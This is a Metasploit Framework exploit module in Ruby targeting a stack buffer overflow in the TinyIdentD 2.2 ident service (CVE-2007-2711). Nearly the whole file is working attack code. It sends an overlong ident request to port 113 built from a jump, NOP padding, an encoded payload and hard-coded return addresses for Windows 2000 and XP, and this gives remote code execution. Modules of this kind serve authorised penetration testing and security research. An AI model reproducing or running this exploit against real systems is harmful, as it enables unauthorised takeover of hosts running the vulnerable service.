##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TinyIdentD 2.2 Stack Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
        If we send a long string to the ident service we can overwrite the return
        address and execute arbitrary code. Credit to Maarten Boone. 
      },
      'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
      'Version'        => '$Revision$',
      'References'     => 
        [
              ['CVE', '2007-2711'],
          ['OSVDB', '36053'],
          ['BID', '23981'],
        ],
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x0d\x20\x0a"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 Server SP4 English',   { 'Ret' => 0x7c2d15e7, } ], # call esi 
          ['Windows XP SP2 Italian',            { 'Ret' => 0x77f46eda, } ], # call esi 
          
        ],

      'Privileged'     => false,
      'DisclosureDate' => 'May 14 2007'
      ))

      register_options([ Opt::RPORT(113) ], self.class)
  end

  def exploit
    connect

    pattern  = "\xeb\x20"+", 28 : USERID : UNIX :";
    pattern << make_nops(0x1eb - payload.encoded.length)
    pattern << payload.encoded
    pattern << [ target.ret ].pack('V')
    

    request  = pattern + "\n"

    print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")

    sock.put(request)
    

    handler
    disconnect
  end

end